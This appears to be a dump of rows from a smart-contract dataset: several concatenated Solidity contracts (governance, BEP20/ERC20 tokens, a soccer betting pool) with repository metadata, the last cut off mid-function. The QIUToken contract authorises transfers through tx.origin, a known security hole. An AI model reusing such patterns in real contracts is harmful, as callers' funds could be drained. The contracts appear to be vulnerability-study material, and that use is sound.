uint votes = staking.votingBalanceOf(voter, proposalId);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __changeGuardian(address guardian_) public {
require(msg.sender == guardian, "GovernorAlphaBZX::__changeGuardian: sender must be gov guardian");
require(guardian_ != address(0), "GovernorAlphaBZX::__changeGuardian: not allowed");
guardian = guardian_;
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlphaBZX::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlphaBZX::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlphaBZX::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlphaBZX::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint a, uint b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface StakingInterface {
function votingBalanceOf(address account,
uint proposalCount)
external
view
returns (uint totalVotes);
function votingBalanceOfNow(address account)
external
view
returns (uint totalVotes);
function _setProposalVals(address account,
uint proposalCount)
external
returns (uint);
}
| 67,224 | 11,307 |
2f47b162618359462414ec81039a87ef29906d80887011d7fa0836b6b2aafa3b
| 31,691 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x98909191C059dBF27C7168B9E928DcC93702EFB9/contract.sol
| 3,682 | 14,690 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FtgToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "FtgToken";
_symbol = "FTG";
_decimals = 18;
_totalSupply = 1000000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() override external view returns (address) {
return owner();
}
function decimals() override external view returns (uint8) {
return _decimals;
}
function symbol() override external view returns (string memory) {
return _symbol;
}
function name() override external view returns (string memory) {
return _name;
}
function totalSupply() override external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) override external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) override external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) override external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) override external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) override external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function mint(address addr, uint256 amount) public onlyOwner returns (bool) {
_mint(addr, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address ftg, bytes memory data) internal returns (bytes memory) {
return functionCall(ftg, data, "Address: low-level call failed");
}
function functionCall(address ftg, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(ftg, data, 0, errorMessage);
}
function functionCallWithValue(address ftg, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(ftg, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address ftg, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(ftg), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = ftg.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address ftg, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(ftg, data, "Address: low-level static call failed");
}
function functionStaticCall(address ftg, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(ftg), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = ftg.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address ftg, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(ftg, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address ftg, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(ftg), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = ftg.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the ftg address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
| 254,393 | 11,308 |
255b8193082f1f38d54dd941a22d3fd8b819516c450043af6232cfa6442a84c0
| 20,563 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa342b71ef080fd75a78251aa83d3f5ce80743939.sol
| 4,020 | 15,756 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract QIUToken is StandardToken,Ownable {
string public name = 'QIUToken';
string public symbol = 'QIU';
uint8 public decimals = 0;
uint public INITIAL_SUPPLY = 5000000000;
uint public eth2qiuRate = 10000;
function() public payable { } // make this contract to receive ethers
function QIUToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY / 10;
balances[this] = INITIAL_SUPPLY - balances[owner];
}
function getOwner() public view returns (address) {
return owner;
}
function ownerTransferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(tx.origin == owner); // only the owner can call the method.
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function originTransfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[tx.origin]);
// SafeMath.sub will throw if there is not enough balance.
balances[tx.origin] = balances[tx.origin].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(tx.origin, _to, _value);
return true;
}
event ExchangeForETH(address fromAddr,address to,uint qiuAmount,uint ethAmount);
function exchangeForETH(uint qiuAmount) public returns (bool){
uint ethAmount = qiuAmount * 1000000000000000000 / eth2qiuRate; // only accept multiple of 100
require(this.balance >= ethAmount);
balances[this] = balances[this].add(qiuAmount);
balances[msg.sender] = balances[msg.sender].sub(qiuAmount);
msg.sender.transfer(ethAmount);
ExchangeForETH(this,msg.sender,qiuAmount,ethAmount);
return true;
}
event ExchangeForQIU(address fromAddr,address to,uint qiuAmount,uint ethAmount);
function exchangeForQIU() payable public returns (bool){
uint qiuAmount = msg.value * eth2qiuRate / 1000000000000000000;
require(qiuAmount <= balances[this]);
balances[this] = balances[this].sub(qiuAmount);
balances[msg.sender] = balances[msg.sender].add(qiuAmount);
ExchangeForQIU(this,msg.sender,qiuAmount,msg.value);
return true;
}
function getETHBalance() public view returns (uint) {
return this.balance; // balance is "inherited" from the address type
}
}
contract SoccerChampion is Ownable {
using SafeMath for uint256;
struct Tournament {
uint id;
bool isEnded;
bool isLockedForSupport;
bool initialized;
Team[] teams;
SupportTicket[] tickets;
}
struct Team {
uint id;
bool isKnockout;
bool isChampion;
}
struct SupportTicket {
uint teamId;
address supportAddres;
uint supportAmount;
}
//ufixed private serviceChargeRate = 1/100;
mapping (uint => Tournament) public tournaments;
uint private _nextTournamentId = 0;
QIUToken public _internalToken;
uint private _commissionNumber;
uint private _commissionScale;
function SoccerChampion(QIUToken _tokenAddress) public {
_nextTournamentId = 0;
_internalToken = _tokenAddress;
_commissionNumber = 2;
_commissionScale = 100;
}
function modifyCommission(uint number,uint scale) public onlyOwner returns(bool){
_commissionNumber = number;
_commissionScale = scale;
return true;
}
event NewTouramentCreateSuccess(uint newTourId);
function createNewTourament(uint[] teamIds) public onlyOwner{
uint newTourId = _nextTournamentId;
tournaments[newTourId].id = newTourId;
tournaments[newTourId].isEnded = false;
tournaments[newTourId].isLockedForSupport = false;
tournaments[newTourId].initialized = true;
for(uint idx = 0; idx < teamIds.length; idx ++){
Team memory team;
team.id = teamIds[idx];
team.isChampion = false;
tournaments[newTourId].teams.push(team);
}
_nextTournamentId ++;
NewTouramentCreateSuccess(newTourId);
}
function supportTeam(uint tournamentId, uint teamId, uint amount) public {
require(tournaments[tournamentId].initialized);
require(_internalToken.balanceOf(msg.sender) >= amount);
require(!tournaments[tournamentId].isEnded);
require(!tournaments[tournamentId].isLockedForSupport);
require(amount > 0);
SupportTicket memory ticket;
ticket.teamId = teamId;
ticket.supportAddres = msg.sender;
ticket.supportAmount = amount;
_internalToken.originTransfer(this, amount);
tournaments[tournamentId].tickets.push(ticket);
}
function _getTournamentSupportAmount(uint tournamentId) public view returns(uint){
uint supportAmount = 0;
for(uint idx = 0; idx < tournaments[tournamentId].tickets.length; idx++){
supportAmount = supportAmount.add(tournaments[tournamentId].tickets[idx].supportAmount);
}
return supportAmount;
}
function _getTeamSupportAmount(uint tournamentId, uint teamId) public view returns(uint){
uint supportAmount = 0;
for(uint idx = 0; idx < tournaments[tournamentId].tickets.length; idx++){
if(tournaments[tournamentId].tickets[idx].teamId == teamId){
supportAmount = supportAmount.add(tournaments[tournamentId].tickets[idx].supportAmount);
}
}
return supportAmount;
}
function _getUserSupportForTeamInTournament(uint tournamentId, uint teamId) public view returns(uint){
uint supportAmount = 0;
for(uint idx = 0; idx < tournaments[tournamentId].tickets.length; idx++){
if(tournaments[tournamentId].tickets[idx].teamId == teamId && tournaments[tournamentId].tickets[idx].supportAddres == msg.sender){
supportAmount = supportAmount.add(tournaments[tournamentId].tickets[idx].supportAmount);
}
}
return supportAmount;
}
function getTeamlistSupportInTournament(uint tournamentId) public view returns(uint[] teamIds, uint[] supportAmounts, bool[] knockOuts, uint championTeamId, bool isEnded, bool isLocked){
if(tournaments[tournamentId].initialized){
teamIds = new uint[](tournaments[tournamentId].teams.length);
supportAmounts = new uint[](tournaments[tournamentId].teams.length);
knockOuts = new bool[](tournaments[tournamentId].teams.length);
championTeamId = 0;
for(uint tidx = 0; tidx < tournaments[tournamentId].teams.length; tidx++){
teamIds[tidx] = tournaments[tournamentId].teams[tidx].id;
if(tournaments[tournamentId].teams[tidx].isChampion){
championTeamId = teamIds[tidx];
}
knockOuts[tidx] = tournaments[tournamentId].teams[tidx].isKnockout;
supportAmounts[tidx] = _getTeamSupportAmount(tournamentId, teamIds[tidx]);
}
isEnded = tournaments[tournamentId].isEnded;
isLocked = tournaments[tournamentId].isLockedForSupport;
}
}
function getUserSupportInTournament(uint tournamentId) public view returns(uint[] teamIds, uint[] supportAmounts){
if(tournaments[tournamentId].initialized){
teamIds = new uint[](tournaments[tournamentId].teams.length);
supportAmounts = new uint[](tournaments[tournamentId].teams.length);
for(uint tidx = 0; tidx < tournaments[tournamentId].teams.length; tidx++){
teamIds[tidx] = tournaments[tournamentId].teams[tidx].id;
uint userSupportAmount = _getUserSupportForTeamInTournament(tournamentId, teamIds[tidx]);
supportAmounts[tidx] = userSupportAmount;
}
}
}
function getUserWinInTournament(uint tournamentId) public view returns(bool isEnded, uint winAmount){
if(tournaments[tournamentId].initialized){
isEnded = tournaments[tournamentId].isEnded;
if(isEnded){
for(uint tidx = 0; tidx < tournaments[tournamentId].teams.length; tidx++){
Team memory team = tournaments[tournamentId].teams[tidx];
if(team.isChampion){
uint tournamentSupportAmount = _getTournamentSupportAmount(tournamentId);
uint teamSupportAmount = _getTeamSupportAmount(tournamentId, team.id);
uint userSupportAmount = _getUserSupportForTeamInTournament(tournamentId, team.id);
uint gainAmount = (userSupportAmount.mul(tournamentSupportAmount)).div(teamSupportAmount);
winAmount = (gainAmount.mul(_commissionScale.sub(_commissionNumber))).div(_commissionScale);
}
}
}else{
winAmount = 0;
}
}
}
function knockoutTeam(uint tournamentId, uint teamId) public onlyOwner{
require(tournaments[tournamentId].initialized);
require(!tournaments[tournamentId].isEnded);
for(uint tidx = 0; tidx < tournaments[tournamentId].teams.length; tidx++){
Team storage team = tournaments[tournamentId].teams[tidx];
if(team.id == teamId){
team.isKnockout = true;
}
}
}
event endTournamentSuccess(uint tourId);
function endTournament(uint tournamentId, uint championTeamId) public onlyOwner{
require(tournaments[tournamentId].initialized);
require(!tournaments[tournamentId].isEnded);
tournaments[tournamentId].isEnded = true;
uint tournamentSupportAmount = _getTournamentSupportAmount(tournaments[tournamentId].id);
uint teamSupportAmount = _getTeamSupportAmount(tournaments[tournamentId].id, championTeamId);
uint totalClearAmount = 0;
for(uint tidx = 0; tidx < tournaments[tournamentId].teams.length; tidx++){
Team storage team = tournaments[tournamentId].teams[tidx];
if(team.id == championTeamId){
team.isChampion = true;
break;
}
}
for(uint idx = 0 ; idx < tournaments[tournamentId].tickets.length; idx++){
SupportTicket memory ticket = tournaments[tournamentId].tickets[idx];
if(ticket.teamId == championTeamId){
if(teamSupportAmount != 0){
uint gainAmount = (ticket.supportAmount.mul(tournamentSupportAmount)).div(teamSupportAmount);
uint actualGainAmount = (gainAmount.mul(_commissionScale.sub(_commissionNumber))).div(_commissionScale);
_internalToken.ownerTransferFrom(this, ticket.supportAddres, actualGainAmount);
totalClearAmount = totalClearAmount.add(actualGainAmount);
}
}
}
_internalToken.ownerTransferFrom(this, owner, tournamentSupportAmount.sub(totalClearAmount));
endTournamentSuccess(tournamentId);
}
event lockTournamentSuccess(uint tourId, bool isLock);
function lockTournament(uint tournamentId, bool isLock) public onlyOwner{
require(tournaments[tournamentId].initialized);
require(!tournaments[tournamentId].isEnded);
tournaments[tournamentId].isLockedForSupport = isLock;
lockTournamentSuccess(tournamentId, isLock);
}
}
| 195,941 | 11,309 |
bbb1f472af47942a2abbba354237a3edb35918f0fe6b1dfdbffc82f07ef0cf02
| 21,573 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf9f7c29cfdf19fcf1f2aa6b84aa367bcf1bd1676.sol
| 3,637 | 13,143 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
